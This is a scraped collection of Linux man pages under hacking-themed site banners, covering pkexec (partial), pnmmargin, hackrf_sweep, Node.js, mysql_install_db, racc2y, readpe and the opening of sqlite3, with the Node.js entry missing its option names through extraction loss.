By default, the org.freedesktop.policykit.exec action is used. To use another action, use the org.freedesktop.policykit.exec.path annotation on an action with the value set to the full path of the program. In addition to specifying the program, the authentication message, description, icon and defaults can be specified. If the org.freedesktop.policykit.exec.argv1 annotation is present, the action will only be picked if the first argument to the program matches the value of the annotation.

Note that authentication messages may reference variables (see the section called “VARIABLES”), for example $(user) will be expanded to the value of the user variable.

WRAPPER USAGE

To avoid modifying existing software to prefix their command-line invocations with pkexec, its possible to use pkexec in a she-bang wrapper[1] like this:

#!/usr/bin/pkexec /usr/bin/python

import os
import sys

print "Hello, Im running as uid %d"%(os.getuid())

for n in range(len(sys.argv)):
    print "arg[%d]=`%s"%(n, sys.argv[n])

If this script is installed into /usr/bin/my-pk-test, then the following annotations

[…] /usr/bin/python /usr/bin/my-pk-test […]

can be used to select the appropriate polkit action. Be careful to get the latter annotation right, otherwise it will match any pkexec invocation of /usr/bin/python scripts.

VARIABLES

The following variables are set by pkexec. They can be used in authorization rules and messages shown in authentication dialogs:

program

Fully qualified path to the program to be executed. Example: “/bin/cat”

command_line

The requested command-line (do not use this for any security checks, it is not secure). Example: “cat /srv/xyz/foobar”

user

The user name of the user to execute the program as. Example: “davidz”

user.gecos

The full name of the user to execute the program as. Example: “David Zeuthen”

user.display

A representation of the user to execute the program as that is suitable for display in an authentication dialog. Is typically set to a combination of the user name and the full name. Example: “David Zeuthen (davidz)”

AUTHOR

Written by David Zeuthen <[email protected]> with a lot of help from many others.

BUGS

Please send bug reports to either the distribution or the polkit-devel mailing list, see the link https://gitlab.freedesktop.org/polkit/polkit/-/issues/ on how to subscribe.

SEE ALSO

polkit(8), polkitd(8), pkaction(1), pkcheck(1), pkttyagent(1)

NOTES

she-bang wrapper

http://en.wikipedia.org/wiki/Shebang_(Unix)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

539 - Linux cli command pnmmargin

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmmargin and provides detailed information about the command pnmmargin, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmmargin.

.

NAME 🖥️ pnmmargin 🖥️

add borders to a PNM image

SYNOPSIS

pnmmargin [-white|-black|-color colorspec] size [pnmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pnmmargin adds a border around a PNM image.

ARGUMENTS

pnmfile is the name of the input file. If you don’t specify this argument, pnmmargin reads the input image from its Standard Input.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -plain, see Common Options ), pnmmargin recognizes the following command line options:

You can specify the border color with the -white, -black, and -color options. If you don’t specify a color, the program makes a guess.

The value of -color is like the argument of the pnm_parsecolor() library routine .

The -plain common option was implemented beginning with Netpbm version 10.40 (September 2007).

The -quiet common option is not implemented.

NOTES

To remove a border of a specified size from an image, use pamcut. pnmcrop also removes borders, but determines by itself what is border and what is subject.

For lower level control, including to add different size borders to different sides of the image, look at pamcat.

If all you’re trying to do is get the image up to a certain required size, pamcut may be what you want.

pnmpad does essentially the same thing, but gives you more control over the individual margins and does only black and white margins.

SEE ALSO

  • pamcut(1)

  • pnmcrop(1)

  • pamcat(1)

  • pnmpad(1)

  • pnm(1)

AUTHOR

Copyright (C) 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmmargin.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

540 - Linux cli command hackrf_sweep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hackrf_sweep and provides detailed information about the command hackrf_sweep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hackrf_sweep.

NAME 🖥️ hackrf_sweep 🖥️

control frequency sweep of hackrf

DESCRIPTION

hackrf_sweep Usage:

[-h] # this help [-d serial_number] # Serial number of desired HackRF [-a amp_enable] # RX RF amplifier 1=Enable, 0=Disable [-f freq_min:freq_max] # minimum and maximum frequencies in MHz [-p antenna_enable] # Antenna port power, 1=Enable, 0=Disable [-l gain_db] # RX LNA (IF) gain, 0-40dB, 8dB steps [-g gain_db] # RX VGA (baseband) gain, 0-62dB, 2dB steps [-n num_samples] # Number of samples per frequency, 8192-4294967296 [-w bin_width] # FFT bin width (frequency resolution) in Hz [-1] # one shot mode [-N num_sweeps] # Number of sweeps to perform [-B] # binary output [-I] # binary inverse FFT output -r filename # output file

Output fields:

date, time, hz_low, hz_high, hz_bin_width, num_samples, dB, dB, . . .

Usage:

[-h] # this help [-d serial_number] # Serial number of desired HackRF [-a amp_enable] # RX RF amplifier 1=Enable, 0=Disable [-f freq_min:freq_max] # minimum and maximum frequencies in MHz [-p antenna_enable] # Antenna port power, 1=Enable, 0=Disable [-l gain_db] # RX LNA (IF) gain, 0-40dB, 8dB steps [-g gain_db] # RX VGA (baseband) gain, 0-62dB, 2dB steps [-n num_samples] # Number of samples per frequency, 8192-4294967296 [-w bin_width] # FFT bin width (frequency resolution) in Hz [-1] # one shot mode [-N num_sweeps] # Number of sweeps to perform [-B] # binary output [-I] # binary inverse FFT output -r filename # output file

Output fields:

date, time, hz_low, hz_high, hz_bin_width, num_samples, dB, dB, . . .

SEE ALSO

The primary source of documentation is the wiki on github:

https://github.com/mossmann/hackrf/wiki

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

541 - Linux cli command js

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command js and provides detailed information about the command js, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the js.

Node.js is a set of libraries for JavaScript which allows it to be used outside of the browser. It is primarily focused on creating simple, easy-to-build network clients and servers.

Execute

without arguments to start a REPL.

Alias for stdin, analogous to the use of - in other command-line utilities. The executed script is read from stdin, and remaining arguments are passed to the script.

Indicate the end of command-line options. Pass the rest of the arguments to the script.

If no script filename or eval/print script is supplied prior to this, then the next argument will be used as a script filename.

Aborting instead of exiting causes a core file to be generated for analysis.

Print source-able bash completion script for Node.js.

Use custom conditional exports conditions.

Start the V8 CPU profiler on start up, and write the CPU profile to disk before exit. If

is not specified, the profile will be written to the current working directory with a generated file name.

The directory where the CPU profiles generated by

will be placed. The default value is controlled by the

command-line option.

The sampling interval in microseconds for the CPU profiles generated by

The default is

File name of the V8 CPU profile generated with

Set the directory for all diagnostic output files. Default is current working directory. Set the directory to which all diagnostic output files will be written to. Defaults to current working directory. Affects the default output directory of:

Disable the `Object.prototype.__proto__` property. If

is `delete`, the property will be removed entirely. If

is `throw`, accesses to the property will throw an exception with the code `ERR_PROTO_ACCESS`.

Make built-in language features like `eval` and `new Function` that generate code from strings throw an exception instead. This does not affect the Node.js `vm` module.

Enable FIPS-compliant crypto at startup. Requires Node.js to be built with

Enable Source Map V3 support for stack traces.

Interpret as either ES modules or CommonJS modules input via –eval or STDIN, when –input-type is unspecified;

Expose the CustomEvent on the global scope.

Expose the Web Crypto API on the global scope.

Enable experimental ES modules support for import.meta.resolve().

Specify the

to use as a custom module loader.

Enable experimental support for loading modules using `import` over `https:`.

Use the specified file as a security policy.

Use this flag to enable ShadowRealm support.

Enable code coverage in the test runner.

Disable experimental support for the Fetch API.

Disable top-level await keyword support in REPL.

Select extension resolution algorithm for ES Modules; either ’explicit’ (default) or ’node'.

Enable experimental ES module support in VM module.

Enable experimental WebAssembly System Interface support. This flag is no longer required as WASI is enabled by default.

Enable experimental WebAssembly module support.

Disable loading native addons that are not context-aware.

Force FIPS-compliant crypto on startup (Cannot be disabled from script code). Same requirements as

Enable experimental frozen intrinsics support.

Generate heap snapshot when the V8 heap usage is approaching the heap limit. No more than the specified number of snapshots will be generated.

Generate heap snapshot on specified signal.

Start the V8 heap profiler on start up, and write the heap profile to disk before exit. If

is not specified, the profile will be written to the current working directory with a generated file name.

The directory where the heap profiles generated by

will be placed. The default value is controlled by the

command-line option.

The average sampling interval in bytes for the heap profiles generated by

The default is

File name of the V8 heap profile generated with

Specify ICU data load path. Overrides

Set the module resolution type for input via –eval, –print or STDIN.

Activate inspector on

and break at start of user script.

Set the

to be used when the inspector is activated.

Specify how the inspector WebSocket URL is exposed. Valid values are

and

Default is

Activate inspector on

Default is

V8 Inspector integration allows attaching Chrome DevTools and IDEs to Node.js instances for debugging and profiling. It uses the Chrome DevTools Protocol.

Use an insecure HTTP parser that accepts invalid HTTP headers. This may allow interoperability with non-conformant HTTP implementations. It may also allow request smuggling and other HTTP attacks that rely on invalid headers being accepted. Avoid using this option.

Disable runtime allocation of executable memory. This may be required on some platforms for security reasons. It can also reduce attack surface on other platforms, but the performance impact may be severe.

This flag is inherited from V8 and is subject to change upstream. It may disappear in a non-semver-major release.

Specify the maximum size of HTTP headers in bytes. Defaults to 16 KiB.

This option is a no-op. It is kept for compatibility.

Silence deprecation warnings.

Hide extra information on fatal exception that causes exit.

Disable runtime checks for `async_hooks`. These will still be enabled dynamically when `async_hooks` is enabled.

Disable the `node-addons` exports condition as well as disable loading native addons. When `–no-addons` is specified, calling `process.dlopen` or requiring a native C++ addon will fail and throw an exception.

Do not search modules from global paths.

Silence all process warnings (including deprecations).

Enable extra debug checks for memory leaks in Node.js internals. This is usually only useful for developers debugging Node.js itself.

Load an OpenSSL configuration file on startup. Among other uses, this can be used to enable FIPS-compliant crypto if Node.js is built with

Emit pending deprecation warnings.

Instructs Node.js to error prior to running any code if the policy does not have the specified integrity. It expects a Subresource Integrity string as a parameter.

Instructs the module loader to preserve symbolic links when resolving and caching modules other than the main module.

Instructs the module loader to preserve symbolic links when resolving and caching the main module.

Generate V8 profiler output.

Process V8 profiler output generated using the V8 option

Write process warnings to the given

instead of printing to stderr.

Write

in a compact format, single-line JSON.

Location at which the

will be generated. The `file` name may be an absolute path. If it is not, the default directory it will be written to is controlled by the

command-line option.

Name of the file to which the

will be written.

Enables the

to be triggered on fatal errors (internal errors within the Node.js runtime such as out of memory) that leads to termination of the application. Useful to inspect various diagnostic data elements such as heap, stack, event loop state, resource consumption etc. to reason about the fatal error.

Enables

to be generated upon receiving the specified (or predefined) signal to the running Node.js process. Default signal is SIGUSR2.

Sets or resets the signal for

generation (not supported on Windows). Default signal is SIGUSR2.

Enables

to be generated on un-caught exceptions. Useful when inspecting JavaScript stack in conjunction with native stack and other runtime environment data.

Specify the size of the OpenSSL secure heap. Any value less than 2 disables the secure heap. The default is 0. The value must be a power of two.

Specify the minimum allocation from the OpenSSL secure heap. The default is 2. The value must be a power of two.

Starts the Node.js command line test runner.

The maximum number of test files that the test runner CLI will execute concurrently.

A regular expression that configures the test runner to only execute tests whose name matches the provided pattern.

A test reporter to use when running tests.

The destination for the corresponding test reporter.

Configures the test runner to only execute top level tests that have the `only` option set.

Test suite shard to execute in a format of <index>/<total>.

Throw errors for deprecations.

Specify process.title on startup.

Specify an alternative default TLS cipher list. Requires Node.js to be built with crypto support. (Default)

Log TLS key material to a file. The key material is in NSS SSLKEYLOGFILE format and can be used by software (such as Wireshark) to decrypt the TLS traffic.

Set default maxVersion to ‘TLSv1.2’. Use to disable support for TLSv1.3.

Set default maxVersion to ‘TLSv1.3’. Use to enable support for TLSv1.3.

Set default minVersion to ‘TLSv1’. Use for compatibility with old TLS clients or servers.

Set default minVersion to ‘TLSv1.1’. Use for compatibility with old TLS clients or servers.

Set default minVersion to ‘TLSv1.2’. This is the default for 12.x and later, but the option is supported for compatibility with older Node.js versions.

Set default minVersion to ‘TLSv1.3’. Use to disable support for TLSv1.2 in favour of TLSv1.3, which is more secure.

Print short summaries of calls to

This flag is deprecated.

Print stack traces for deprecations.

A comma-separated list of categories that should be traced when trace event tracing is enabled using

Template string specifying the filepath for the trace event data, it supports

and

Enable the collection of trace event tracing information.

Prints a stack trace whenever an environment is exited proactively, i.e. invoking `process.exit()`.

Prints a stack trace on SIGINT.

Print a stack trace whenever synchronous I/O is detected after the first turn of the event loop.

Prints TLS packet trace information to stderr.

Print stack traces for uncaught exceptions; usually, the stack trace associated with the creation of an

is printed, whereas this makes Node.js also print the stack trace associated with throwing the value (which does not need to be an

instance).

Enabling this option may affect garbage collection behavior negatively.

Print stack traces for process warnings (including deprecations).

Track heap object allocations for heap snapshots.

Define the behavior for unhandled rejections. Can be one of `strict` (raise an error), `warn` (enforce warnings) or `none` (silence warnings).

Use bundled Mozilla CA store as supplied by current Node.js version or use OpenSSL’s default CA store. The default store is selectable at build-time.

The bundled CA store, as supplied by Node.js, is a snapshot of Mozilla CA store that is fixed at release time. It is identical on all supported platforms.

Using OpenSSL store allows for external modifications of the store. For most Linux and BSD distributions, this store is maintained by the distribution maintainers and system administrators. OpenSSL CA store location is dependent on configuration of the OpenSSL library but this can be altered at runtime using environment variables.

See

and

Re-map the Node.js static code to large memory pages at startup. If supported on the target system, this will cause the Node.js static code to be moved onto 2 MiB pages instead of 4 KiB pages.

must have one of the following values: `off` (the default value, meaning do not map), `on` (map and ignore failure, reporting it to stderr), or `silent` (map and silently ignore failure).

Print V8 command-line options.

Set V8’s thread pool size which will be used to allocate background jobs. If set to 0 then V8 will choose an appropriate size of the thread pool based on the number of online processors. If the value provided is larger than V8’s maximum, then the largest value will be chosen.

Automatically zero-fills all newly allocated Buffer and SlowBuffer instances.

Check the script’s syntax without executing it. Exits with an error code if script is invalid.

Evaluate

as JavaScript.

Print command-line options. The output of this option is less detailed than this document.

Open the REPL even if stdin does not appear to be a terminal.

Identical to

but prints the result.

Preload the specified

at startup. Follows `require()`’s module resolution rules.

may be either a path to a file, or a Node.js module name.

Print node’s version.

Used to enable ANSI colorized output. The value may be one of:

,

, or

to indicate 16-color support,

to indicate 256-color support, or

to indicate 16 million-color support. When used and set to a supported value, both the NO_COLOR and NODE_DISABLE_COLORS environment variables are ignored. Any other value will result in colorized output being disabled.

Alias for NODE_DISABLE_COLORS

Comma-separated list of core modules that should print debug information.

Comma-separated list of C++ core modules that should print debug information.

When set to

colors will not be used in the REPL.

When set, the well-known

CAs (like VeriSign) will be extended with the extra certificates in

The file should consist of one or more trusted certificates in PEM format.

If

is missing or misformatted, a message will be emitted once using

but any errors are otherwise ignored.

This environment variable is ignored when `node` runs as setuid root or has Linux file capabilities set.

The

environment variable is only read when the Node.js process is first launched. Changing the value at runtime using

has no effect on the current process.

Data path for ICU (Intl object) data. Will extend linked-in data when compiled with small-icu support.

When set to

process warnings are silenced.

A space-separated list of command-line

which are interpreted as if they had been specified on the command line before the actual command (so they can be overridden). Node.js will exit with an error if an option that is not allowed in the environment is used, such as

or a script file.

A colon-separated list of

prefixed to the module search path.

When set to

emit pending deprecation warnings.

When set to

the module loader preserves symbolic links when resolving and caching modules.

Write process warnings to the given

instead of printing to stderr. Equivalent to passing

on the command line.

Path to the

used to store persistent REPL history. The default path is

which is overridden by this variable. Setting the value to an empty string ("" or " “) will disable persistent REPL history.

Path to a Node.js module which will be loaded in place of the built-in REPL. Overriding this value to an empty string (`’’`) will use the built-in REPL.

When set to

the check for a supported platform is skipped during Node.js startup. Node.js might not execute correctly. Any issues encountered on unsupported platforms will not be fixed.

When set to

TLS certificate validation is disabled.

When set, Node.js writes JavaScript code coverage information to

Load an OpenSSL configuration file on startup. Among other uses, this can be used to enable FIPS-compliant crypto if Node.js is built with

If the

command-line option is used, this environment variable is ignored.

If

is enabled, this overrides and sets OpenSSL’s directory containing trusted certificates.

If

is enabled, this overrides and sets OpenSSL’s file containing trusted certificates.

Specify the timezone configuration.

Sets the number of threads used in libuv’s threadpool to

Bugs are tracked in GitHub Issues:

Copyright Node.js contributors. Node.js is available under the MIT license.

Node.js also includes external libraries that are available under a variety of licenses. See

for the full license text.

Website:

Documentation:

GitHub repository and issue tracker:

IRC (general questions):

(unofficial)

Written and maintained by 1000+ contributors:

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

542 - Linux cli command mysql_install_db

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mysql_install_db and provides detailed information about the command mysql_install_db, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mysql_install_db.

NAME 🖥️ mysql_install_db 🖥️

install-db - initialize MariaDB data directory (mysql_install_db is now a symlink to mariadb-install-db)

SYNOPSIS

mysql_install_db [options]

DESCRIPTION

mysql_install_db initializes the MariaDB data directory and creates the system tables that it contains, if they do not exist.

To invoke mysql_install_db, use the following syntax:

shell> mysql_install_db [options]

Because the MariaDB server, mysqld, needs to access the data directory when it runs later, you should either run mysql_install_db from the same account that will be used for running mysqld or run it as root and use the –user option to indicate the user name that mysqld will run as. It might be necessary to specify other options such as –basedir or –datadir if mysql_install_db does not use the correct locations for the installation directory or data directory. For example:

shell> bin/mysql_install_db –user=mysql
–basedir=/opt/mysql/mysql
–datadir=/opt/mysql/mysql/data

mysql_install_db needs to invoke mysqld with the –bootstrap and –skip-grant-tables options (see Section 2.3.2, “Typical configure Options”). If MariaDB was configured with the –disable-grant-options option, –bootstrap and –skip-grant-tables will be disabled. To handle this, set the MYSQLD_BOOTSTRAP environment variable to the full path name of a server that has all options enabled. mysql_install_db will use that server.

mysql_install_db supports the following options, which can be specified on the command line or in the [mysql_install_db] and (if they are common to mysqld) [mysqld] option file groups.

·

**–basedir=**path

The path to the MariaDB installation directory.

·

**–builddir=**path

If using –srcdir with out-of-directory builds, you will need to set this to the location of the build directory where built files reside..

·

–cross-bootstrap

For internal use. Used when building the MariaDB system tables on a different host than the target..

·

**–datadir=**path, **–ldata=**path

The path to the MariaDB data directory.

·

**–defaults-extra-file=**filename

Set filename as the file to read default options from after the global defaults files has been read. Must be given as first option.

·

**–defaults-file=**filename

Set filename as the file to read default options from, override global defaults files. Must be given as first option.

·

**–defaults-group-suffix=**name

In addition to the given groups, also read groups with this suffix.

·

–force

Cause mysql_install_db to run even if DNS does not work. In that case, grant table entries that normally use host names will use IP addresses.

·

–help

Display a help message and exit.

·

–no-defaults

Do not read default options from any option file. This must be given as the first argument.

·

–print-defaults

Print the program argument list and exit. This must be given as the first argument.

·

–rpm

For internal use. This option is used by RPM files during the MariaDB installation process.

·

–skip-name-resolve

Use IP addresses rather than host names when creating grant table entries. This option can be useful if your DNS does not work.

·

**–srcdir=**path

For internal use. The directory under which mysql_install_db looks for support files such as the error message file and the file for populating the help tables.4.

·

**–user=**user_name

The login user name to use for running mysqld. Files and directories created by mysqld will be owned by this user. You must be root to use this option. By default, mysqld runs using your current login name and files and directories that it creates will be owned by you.

·

**–extra-file=**file_path

Add user defined SQL file, to be executed following regular database initialization.

·

–verbose

Verbose mode. Print more information about what the program does.

·

–windows

For internal use. This option is used for creating Windows distributions.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

543 - Linux cli command racc2y

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command racc2y and provides detailed information about the command racc2y, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the racc2y.

NAME 🖥️ racc2y 🖥️

Racc grammar to yacc grammar

SYNOPSIS

racc2y [options] raccfile

DESCRIPTION

Racc2y converts racc grammar to yacc grammar.

OPTIONS

-o, –output-file <outfile> output file name. [y.<inputfile>]

-A did not output actions.

-H output ‘header’.

-I output ‘inner’.

-F output ‘footer’.

-h, –help print this message and quit.

–version print version and quit.

–copyright print copyright and quit.

SEE ALSO

/usr/share/doc/racc/html.en/index.html (English) or /usr/share/doc/racc/html.ja/index.html (Japanese).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

544 - Linux cli command readpe

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command readpe and provides detailed information about the command readpe, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the readpe.

NAME 🖥️ readpe 🖥️

displays information about PE files

SYNOPSIS

readpe [OPTIONS]… pefile

DESCRIPTION

readpe can read and display all PE file headers, fields and values. It’s part of pev, the PE file analysis toolkit.

pefile is a PE32/PE32+ executable or dynamic linked library file.

OPTIONS

-A, –all
Full output (default).

-H, –all-headers
Show all PE headers.

-S, –all-sections
Show PE section headers.

-f, –format <text|csv|xml|html>
Change output format (default: text).

-d, –dirs
Show data directories.

-h, –header <dos|coff|optional>
Show specific header. It can be used multiple times.

-i, –imports
Show imported functions.

-e, –exports
Show exported functions.

-V, –version
Show version.

–help
Show this help.

EXAMPLES

Display the Optional file header of putty.exe:

$ readpe -h optional putty.exe

Display data directories and exported functions of cards.dll:

$ readpe -de cards.dll

Display all possible information about svchost.exe file:

$ readpe svchost.exe

REPORTING BUGS

Please, check the latest development code and report at https://github.com/mentebinaria/readpe/issues

SEE ALSO

ofs2rva(1), pedis(1), pehash(1), peldd(1), pepack(1), peres(1), pescan(1), pesec(1), pestr(1), rva2ofs(1)

COPYRIGHT

Copyright (C) 2013 - 2020 pev authors. License GPLv2+: GNU GPL version 2 or later <https://www.gnu.org/licenses/gpl-2.0.txt>. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

545 - Linux cli command sqlite3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sqlite3 and provides detailed information about the command sqlite3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sqlite3.

NAME 🖥️ sqlite3 🖥️

A command line interface for SQLite version 3

SYNOPSIS

sqlite3 [options] [databasefile] [SQL]

SUMMARY

sqlite3 is a terminal-based front-end to the SQLite library that can evaluate queries interactively and display the results in multiple formats. sqlite3 can also be used within shell scripts and other applications to provide batch processing features.

DESCRIPTION

To start a sqlite3 interactive session, invoke the sqlite3 command and optionally provide the name of a database file. If the database file does not exist, it will be created. If the database file does exist, it will be opened.

For example, to create a new database file named “mydata.db”, create a table named “memos” and insert a couple of records into that table:

$ sqlite3 mydata.db
